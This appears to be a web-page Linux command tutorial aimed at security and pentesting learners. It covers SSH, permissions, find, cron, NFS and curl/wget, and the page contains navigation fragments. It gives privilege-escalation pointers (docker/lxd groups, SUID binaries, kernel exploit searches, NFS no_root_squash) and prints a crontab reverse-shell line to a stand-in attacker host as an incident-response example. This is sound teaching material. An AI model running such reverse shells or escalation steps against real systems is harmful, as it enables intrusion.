sshRemote loginwhoamiCurrent usernameidUser & group IDshostnameSystem hostnameunameOS / kernel infopwdCurrent directory pathlsList directorycdChange directorytouchCreate / update filemkdirCreate directorymvMove / renamecpCopy files/dirsrmRemove files/dirstreeVisual dir treenanoSimple text editorvimModal power editorcatRead & stream fileswhichFind binary in PATHfindDeep filesystem searchlocateFast indexed searchip aNetwork interfacesifconfigNetwork interfaces (legacy)netstatNetwork connectionsssSocket statisticspsProcess listwhoLogged-in usersenvEnvironment variableslsblkBlock deviceslsusbUSB deviceslsofOpen files & socketslspciPCI hardwareclearClear terminalSSH (Secure Shell) is an encrypted protocol for remotely accessing and controlling Linux systems over a network. Any time you need to work on a machine that isn't physically in front of you — a server, a VPS, a lab machine, a target — SSH is how you get there.
The basic syntax is ssh username@ip_address. The system will prompt for a password, or if key-based authentication is set up, log you in automatically.
ssh-keygen and copy your public key to the server with ssh-copy-id user@host. After that, SSH logs you in automatically and is more secure than passwords.yes to accept. This protects you from connecting to a fake server (man-in-the-middle attack). Known hosts are stored in ~/.ssh/known_hosts.The hostname command prints the name assigned to the computer you are logged into. Every Linux machine has a hostname — it's used to identify the machine on a network and shows up in your shell prompt.
This matters during security work because when you're pivoting through multiple machines, hostname is how you confirm which box you're actually on before running any commands.
JohnDoe@linux-target-01:~$. But it's good practice to run hostname explicitly, especially after escalating privileges or switching users, to confirm nothing unexpected changed.whoami prints the username of the account currently running the shell. It's one of the simplest commands but also one of the most important — especially after gaining initial access to a system, escalating privileges, or switching users with su.
It works identically on Linux, macOS, and Windows (via PowerShell or CMD), making it a universal first command regardless of which OS you land on.
The difference between JohnDoe and root is everything — root is the superuser account with unlimited access to the entire system. As a regular user you're heavily restricted; as root nothing is off limits.
id goes deeper than whoami. It shows your UID (user ID number), GID (primary group ID), and every supplementary group you belong to. Groups on Linux are how access to files, devices, and services is controlled beyond simple user ownership.
| Group | What access it grants | Security relevance |
|---|---|---|
| sudo (27) | Run any command as root with sudo | 🚨 Highest value — direct path to full system access |
| adm (4) | Read system logs in /var/log/ | Logs can contain passwords, keys, or user activity |
| docker | Control Docker containers | Docker group = trivial root escalation via container escape |
| disk | Direct read access to raw block devices | Can read entire filesystem contents, bypassing permissions |
| lxd / lxc | Manage Linux containers | Similar to docker — escalation path to root |
sudo group. If you are and know the account password, you can run sudo -l to see exactly which commands are permitted, or sudo su to become root.uname prints technical information about the operating system kernel running on the machine. This is essential for understanding what version of Linux you're dealing with and for searching for known vulnerabilities tied to that exact kernel version.
| Flag | What it prints | Example output |
|---|---|---|
| uname -a | All info combined | Full kernel + arch + OS string |
| uname -r | Kernel release | 4.15.0-99-generic |
| uname -s | Kernel name | Linux |
| uname -n | Network hostname | target |
| uname -m | Machine architecture | x86_64 (64-bit Intel/AMD) |
| uname -o | Operating system | GNU/Linux |
| uname -v | Kernel build version | #100-Ubuntu SMP Wed Apr 22... |
uname -r (e.g. 4.15.0-99-generic) and search it on sites like exploit-db.com, use searchsploit on Kali, or paste it into Google with the word "exploit". Older kernels on unpatched systems are frequently vulnerable to local privilege escalation.The ip command is the standard tool for inspecting and configuring network interfaces on Linux. It replaced the older ifconfig command and gives you more detail and control. Every machine on a network has at least one interface with an IP address — ip is how you find that information.
Understanding the output: each network interface has a name (eth0, ens33, wlan0), an IP address, and an MTU (Maximum Transmission Unit) — the largest data packet the interface will send. Standard Ethernet uses 1500 bytes. The loopback interface (lo at 127.0.0.1) uses 65536 and only carries traffic between processes on the same machine.
| Command | What it shows |
|---|---|
| ip a | All interfaces: IP, MAC, MTU, state |
| ip link | Link-layer only — MAC address, interface state, no IPs |
| ip route | Routing table — where traffic is sent, what the gateway is |
| ip neigh | ARP/neighbor cache — nearby devices and their MACs |
10.10.14.x and 192.168.1.x), it's connected to two networks. This is a common sign you can pivot through this machine to reach hosts on the second network that aren't directly accessible.Linux has no graphical file browser by default — you navigate entirely through the terminal. The three commands you use constantly are pwd (where am I), ls (what's here), and cd (go somewhere). Master these and the terminal stops feeling foreign.
Always know your current location before running commands. pwd prints the full absolute path of where you are in the filesystem.
By default ls shows only visible files. Hidden files start with a dot (e.g. .bashrc, .ssh) and require the -a flag. The -l flag gives you the long format with permissions, ownership, size, and timestamps.
| Column | What it means |
|---|---|
| drwxr-xr-x | File type + permissions: d=directory, -=file, l=symlink. Three permission groups: owner / group / others |
| 2 | Number of hard links pointing to this inode |
| JohnDoe | Owning user |
| users | Owning group |
| 4096 | Size in bytes (use -h for KB/MB/GB) |
| Nov 13 17:37 | Last modification time |
ls -i to see inode numbers and stat filename for full inode details.. = the current directory · .. = one level up · ~ = your home directory · - = previous directory. These can be combined: cd ../../etc goes up two levels then into etc.Creating, organizing, moving, copying, and deleting files from the terminal is fast and precise once you know the commands. Unlike a GUI where mistakes can be undone, terminal file operations are mostly irreversible — there is no Recycle Bin. Develop the habit of double-checking paths before pressing Enter.
rm -rf / or rm -rf ./ with a bad path can destroy the entire system. Always verify your path with pwd and ls before using rm -r. In scripts, use -i to prompt before each deletion.On Linux, everything is a file — configurations, logs, scripts, user data. Being able to read and edit files directly in the terminal is a core skill. You have three main tools: cat for quickly reading content, nano for beginner-friendly editing, and vim for serious terminal editing power.
cat streams file contents directly to the terminal. It's fast and has no interface to navigate — just raw output. Perfect for quick reads, combining files, and piping content into other commands.
/etc/passwd is readable by everyone and contains usernames, UIDs, home directories, and shell assignments. Password hashes moved to /etc/shadow, which is readable only by root. If /etc/shadow is readable by your user — that's a serious misconfiguration worth noting.Nano opens a full-screen editor inside the terminal. Unlike vim, it behaves like a normal text editor — you type and characters appear. Keyboard shortcuts are displayed at the bottom of the screen at all times. The ^ symbol means Ctrl.
Vim uses modes — it separates navigation and editing into distinct states. This feels strange at first but makes experienced users extremely fast. The key thing to understand: pressing keys in Normal mode runs commands, not text. You must enter Insert mode to type.
| Mode | How to enter | What you can do |
|---|---|---|
| Normal | Esc (default on open) | Navigate, delete, copy, search. Keys are commands, not text input. |
| Insert | i before cursor, a after, o new line below | Type text normally |
| Visual | v char, V line, Ctrl+v block | Select text to copy, delete, or indent |
| Command | : | Run commands: save, quit, find+replace, set options |
vimtutor in your terminal — it's a free built-in interactive tutorial that takes about 25 minutes and teaches you everything you need to be productive. Vim comes pre-installed on virtually every Linux server, so investing in it pays off.Knowing how to locate files quickly is essential on any system. You might need to find a config file, locate a specific binary, identify recently modified files, or search for files with dangerous permissions. Linux gives you three tools for this — each with different speed/power tradeoffs.
which tells you the exact path to a program that would run if you typed its name. It only looks in directories listed in your $PATH variable — so if a tool isn't in PATH, which won't find it even if it exists elsewhere.
find searches the actual filesystem in real time and supports powerful filtering. It can search by name, type, size, owner, permissions, modification date, and more — and can execute commands on every match. The tradeoff is it can be slow on large systems.
| Option | What it filters on |
|---|---|
| -type f / -type d | Files only / directories only |
| -name "*.sh" | Filename pattern (case-sensitive; use -iname for case-insensitive) |
| -user root | Owned by a specific user |
| -group sudo | Owned by a specific group |
| -size +10M | Larger than 10 megabytes (+=larger, -=smaller; k/M/G) |
| -perm -4000 | Has SUID bit set |
| -perm -o+w | World-writable (others can write) |
| -mtime -7 | Modified within the last 7 days |
| -exec cmd {} \; | Run a command on each result |
| 2>/dev/null | Suppress "Permission denied" errors |
locate searches a pre-built index of the filesystem rather than scanning live. This makes it dramatically faster than find, but it only knows about files that existed when the database was last updated. On active systems, run sudo updatedb first.
which to find executables in your PATH. Use locate when you need speed and the file is likely not brand new. Use find when you need precision — filtering by permissions, size, date, or running commands on results. find is indispensable for security enumeration and automation.stdin/out/errFile descriptors>Redirect STDOUT2>/dev/nullDiscard errors|Pipe outputgrepFilter by patternmorePager (simple)lessPager (advanced)headFirst N linestailLast N linessortSort linescutExtract columnstrTranslate characterscolumnAlign into tableawkField processorsedStream editorwcCount lines/wordschmodChange permissionschownChange owner/groupgrep -rRecursive searchsudoRun command as rootsuSwitch useruseraddCreate user accountusermodModify user accountpasswdSet / change passwordaptPackage managerdpkgInstall .deb filessystemctlService controljournalctlService & system logskillSend signal to processbg / fgBackground jobscrontabSchedule taskscurlHTTP requests / downloadwgetDownload filespython3 -m http.serverQuick file serverEvery process in Linux communicates through three standard data streams, each identified by a number called a file descriptor (FD). Understanding these is what makes redirection and piping make sense — they're all just moving data between these streams.
When you type a command and press Enter, your typed text goes in via STDIN. The result prints to the terminal via STDOUT. Any error messages come through STDERR — a separate stream so that errors and results can be handled independently.
| Operator | What it does |
|---|---|
| > | Redirect STDOUT to file — overwrites existing content |
| >> | Redirect STDOUT to file — appends to existing content |
| 2>/dev/null | Send STDERR to the null device (discard errors) |
| 2> file | Redirect STDERR to a file |
| 2>&1 | Merge STDERR into STDOUT stream |
| < | Use file content as STDIN |
| << EOF | Feed inline multiline text as STDIN (heredoc) |
| | | Pipe STDOUT of one command to STDIN of the next |
cmd1 | cmd2 | cmd3 — data flows left to right, getting transformed at each stage. There's no limit to how many you can chain.Linux gives you a powerful set of text-processing tools that each do one thing well. Combined via pipes, they become an incredibly precise toolkit for extracting exactly the data you need from any output, log, or file — without ever opening an editor.
more and less let you scroll through large files one screen at a time instead of everything flooding the terminal at once. less is the more capable of the two — it lets you scroll backwards, search, and leaves a clean terminal when you exit.
Grep is the workhorse of text filtering. It scans input line by line and only outputs lines that match your pattern. It's used constantly — from filtering command output to hunting through logs and config files.
The real power of these tools is chaining them. Here's a step-by-step example that takes raw /etc/passwd content and progressively extracts and formats just the data we want:
cat /etc/passwd | grep -v "nologin\|false" | tr ":" " " | awk '{print $1, $NF}' | sort | uniq — filter, reformat, extract, sort, deduplicate. This kind of pipeline replaces what would take many lines of code in a scripting language.Regular expressions are a pattern language for matching text. Rather than searching for exact strings, you write patterns that describe the shape of what you're looking for — numbers, email addresses, IP addresses, lines starting with a specific word, and so on.
They're supported in grep, sed, awk, Python, JavaScript, and most programming languages — making this one of the most transferable skills you can learn. The syntax is the same everywhere.
| Character | Meaning | Example |
|---|---|---|
| . | Match any single character | c.t matches "cat", "cut", "c3t" |
| * | Zero or more of the previous | lo*l matches "ll", "lol", "lool" |
| + | One or more of the previous (extended) | lo+l matches "lol", "lool" but not "ll" |
| ? | Zero or one of the previous (extended) | colo?r matches "color" and "colour" |
| ^ | Match start of line | ^root — lines starting with "root" |
| $ | Match end of line | bash$ — lines ending with "bash" |
| [abc] | Match any character in the set | [aeiou] matches any vowel |
| [a-z] | Match any character in the range | [0-9] matches any digit |
| [^abc] | Match any character NOT in the set | [^0-9] matches non-digits |
| (a|b) | Match a OR b (extended) | (cat|dog) matches either word |
| {n,m} | Match between n and m times (extended) | [0-9]{1,3} matches 1–3 digits |
grep supports limited regex. grep -E (or its alias egrep) enables extended regex with |, +, ?, {n,m}, and grouping with (). When in doubt, always use grep -E.Linux controls access to every file and directory through a permission system. Each file has an owner (a user) and an owning group. Permissions are set separately for three audiences: the owner, the group, and everyone else (others). The three permission types are read (r), write (w), and execute (x).
r = can list contents (ls), w = can create/delete files inside, x = can enter it (cd). You need execute on a directory to traverse it — even if you can see the directory's name, without execute you'll get "Permission denied" when trying to enter.Permissions can be set two ways: symbolic (letters) or octal (numbers). Octal is faster once you know the values; symbolic is easier to read when making specific targeted changes.
| Octal | Binary | Permissions | Common use case |
|---|---|---|---|
| 7 | 111 | rwx | Owner of executable scripts |
| 6 | 110 | rw- | Config files the owner edits |
| 5 | 101 | r-x | Group access to scripts |
| 4 | 100 | r-- | Read-only for others |
| 0 | 000 | --- | No access at all |
The SUID (Set User ID) bit on an executable means it runs with the file owner's permissions instead of the caller's. If that file is owned by root, any user who runs it gets root-level access for that program's duration. They appear as s where the execute bit would normally be.
! in pagers), or built-in commands — gives root access to any user who runs it. Check the full list of known SUID exploits at GTFOBins (gtfobins.github.io) — it's a reference for every binary that can be abused.The sticky bit on a directory ensures that users can only delete or rename their own files inside it, even if they have write permission to the directory itself. This is how /tmp works — everyone can write to it, but you can't delete other users' files.
| Symbol | Sticky bit | Execute bit on directory | Effect |
|---|---|---|---|
| t (lowercase) | ✓ Set | ✓ Set | Others can enter directory, but only delete their own files |
| T (uppercase) | ✓ Set | ✗ Not set | Others cannot enter directory at all — maximally restrictive |
Linux is a multi-user system where every file, process, and resource is owned by a user or group. User management is how admins create accounts, control group membership, and grant or restrict access. Understanding this is equally critical for security — knowing how accounts and groups are structured exposes privilege escalation paths.
The core concept: root (UID 0) is the superuser with unrestricted access to everything. Regular users only do what their permissions allow. sudo lets specific users run commands as root without logging in as root — keeping a clean audit trail and limiting exposure.
| Command | What it does |
|---|---|
| sudo command | Run one command as root — uses your password, not root's |
| sudo -l | List permitted sudo commands for the current user |
| sudo -i | Open a full root login shell |
| su username | Switch to another user account — requires their password |
| useradd -m user | Create user with a home directory |
| usermod -aG group user | Append user to group without removing existing groups |
| userdel -r user | Delete user and their home directory |
| passwd user | Set or change a user's password (root can set anyone's) |
usermod -G sudo alice without -a replaces all of Alice's groups with just sudo, silently removing every other group she was in. Always use -aG to append. This mistake can instantly break access to services, devices, and previously granted permissions./etc/passwd — all user accounts, world-readable. Format: user:x:UID:GID:comment:home:shell/etc/shadow — hashed passwords, root-readable only. Format: user:$alg$salt$hash:lastchange:.../etc/group — group definitions and their members.In Linux, software comes in packages — archives bundling a program's binaries, config files, and dependency information. Package managers handle downloading, installing, updating, and removing software, resolving dependency chains automatically. On Debian/Ubuntu-based systems (including Kali and Parrot), the primary package manager is APT. Behind it, dpkg does the actual low-level installation. For Python packages there's pip, and raw source code gets pulled directly with git clone.
dpkg installs packages from local .deb files — useful when a package isn't in any apt repository. The typical workflow: download the .deb with wget, then install it with dpkg. If it has unresolved dependencies, apt install -f fixes them.
/etc/apt/sources.list and files in /etc/apt/sources.list.d/. Package data is cached locally after apt update. Third-party repos can be added with add-apt-repository. On security-focused distros like Kali, the repo is packed with tools already — just apt install them.A service (also called a daemon) is a background process that runs continuously — SSH, web servers, databases, cron. On modern Linux, services are managed by systemd, the system's init process with PID 1. Systemd starts at boot before everything else and spawns all other processes. Daemons are typically named with a trailing d — sshd, httpd, crond.
Every running program is a process with a unique PID. Processes communicate through signals — numeric codes sent by the kernel or other processes. The two you'll use most: SIGTERM (15) asks a process to shut down cleanly, and SIGKILL (9) destroys it immediately with no cleanup, no exceptions.
| Signal | Number | How triggered | Effect |
|---|---|---|---|
| SIGHUP | 1 | Terminal closed | Reload config or terminate (daemon-dependent) |
| SIGINT | 2 | Ctrl+C | Interrupt — process can catch and handle gracefully |
| SIGKILL | 9 | kill -9 | Instant death — cannot be caught, blocked, or ignored |
| SIGTERM | 15 | kill (default) | Graceful shutdown request — process can clean up first |
| SIGSTOP | 19 | kill -19 | Pause process — cannot be caught (unlike SIGTSTP) |
| SIGTSTP | 20 | Ctrl+Z | Suspend to background — process can catch this one |
You can run multiple things in the same terminal session by backgrounding processes. Ctrl+Z suspends a foreground process, bg resumes it in the background, fg brings it back. Appending & to a command starts it directly in the background.
ps aux and look for unusual processes running as root, especially anything with a trailing d you don't recognize. Compare against systemctl list-units — if a process is running but has no service unit, that's suspicious.Task scheduling automates repetitive work — backups, log rotation, system updates, cleanup scripts — so they run on a defined schedule without manual intervention. Linux has two tools for this: the classic cron daemon and the newer systemd timers. Cron is simpler and universally supported; systemd timers are more powerful but require more setup.
For security practitioners, this is critical knowledge. Attackers frequently plant cron jobs for persistence — a one-liner that calls back every minute will survive reboots and most cleanup attempts. Finding unauthorized scheduled tasks during incident response is a key skill.
Each crontab line defines one job using five time fields followed by the command. Fields use * for "every", */n for "every n units", or specific numbers.
systemd timers give you more control than cron — dependencies, logging through journalctl, and event-based triggers. They require two files: a .timer unit (when to run) and a .service unit (what to run).
* * * * * bash -i >& /dev/tcp/attacker.ip/4444 0>&1 — this runs a reverse shell every minute. During incident response, audit all crontabs: user crontabs in /var/spool/cron/crontabs/, /etc/crontab, /etc/cron.d/, and systemctl list-timers --all.Linux systems regularly run network services that accept remote connections — SSH for admin access, NFS for shared filesystems, web servers for delivering content. Understanding how to install, configure, and interact with these services matters both as an admin and as someone assessing them for security weaknesses.
Part 1 covered connecting to SSH. The server side is controlled through /etc/ssh/sshd_config. Misconfigurations here — like allowing root login or password auth — are a significant attack surface.
NFS lets you mount a remote directory over the network as if it were local. Common in enterprise environments, and exploitable when misconfigured — especially with no_root_squash, which allows remote root to act as local root on the share.
| Export Option | What it does |
|---|---|
| rw | Allow read and write on the share |
| ro | Read-only access only |
| sync | Write to disk before confirming — safer, slightly slower |
| async | Faster but risks data loss on crash |
| root_squash | Maps remote root to anonymous user — default, safer |
| no_root_squash | Remote root keeps root privileges on the share — dangerous |
Apache2 is the full production web server. Python's http.server is a single-command instant file server — invaluable for quickly hosting files, payloads, or scripts during testing without any configuration.
no_root_squash, a client mounting the share as root can create SUID binaries in it. If those binaries can be executed on the NFS server, it's a direct route to root. Always audit /etc/exports during enumeration — no_root_squash on a writable share is a critical finding.sudo apt install openvpn -y and connect with sudo openvpn --config your.ovpn. Your VPN IP will appear as a new interface (typically tun0), visible in ip a.curl and wget are your command-line interfaces to the web. They let you interact with HTTP/HTTPS servers, download files, send requests, and inspect server responses — all from the terminal. These tools appear constantly in automation, scripting, recon, and file transfer during assessments.
Key difference in default behavior: curl prints to STDOUT, wget saves to disk. Both can do either with the right flags.
Think of curl as a programmable browser for the terminal. It supports HTTP, HTTPS, FTP, SFTP, and more. You can read responses, send POST data, set custom headers, follow redirects, and inspect certificates — all from a single command.
wget is designed for downloading. Unlike curl, it saves to disk automatically with a progress bar, and handles retries on interrupted downloads. Better than curl for batch downloads or when you just need a file saved reliably.
| Command | Output behavior | Best for |
|---|---|---|
| curl URL | Prints to STDOUT (terminal) | API calls, inspecting responses, piping output |
| curl -o file URL | Saves to named file | Downloading with a custom filename |
| curl -I URL | Headers only | Server fingerprinting, checking redirects |
| wget URL | Saves to disk automatically | Reliable file downloads, original filename preserved |
| wget -qO- URL | Prints to STDOUT (quiet) | Piping downloaded content to another command |
python3 -m http.server 8080, then on the target run wget http://your-ip:8080/tool or curl http://your-ip:8080/tool -o tool. No FTP setup, no SCP keys — just HTTP. Works whenever you have outbound web access on the target.curl url | bash is a common installer pattern, but it executes whatever code exists at that URL without any review. If the server is compromised or the URL is intercepted (MITM), you're running arbitrary code as yourself — or worse, as root if you prepended sudo. Always download first, inspect the script, then execute.Sections 21–30 will appear here once Part 2 is complete.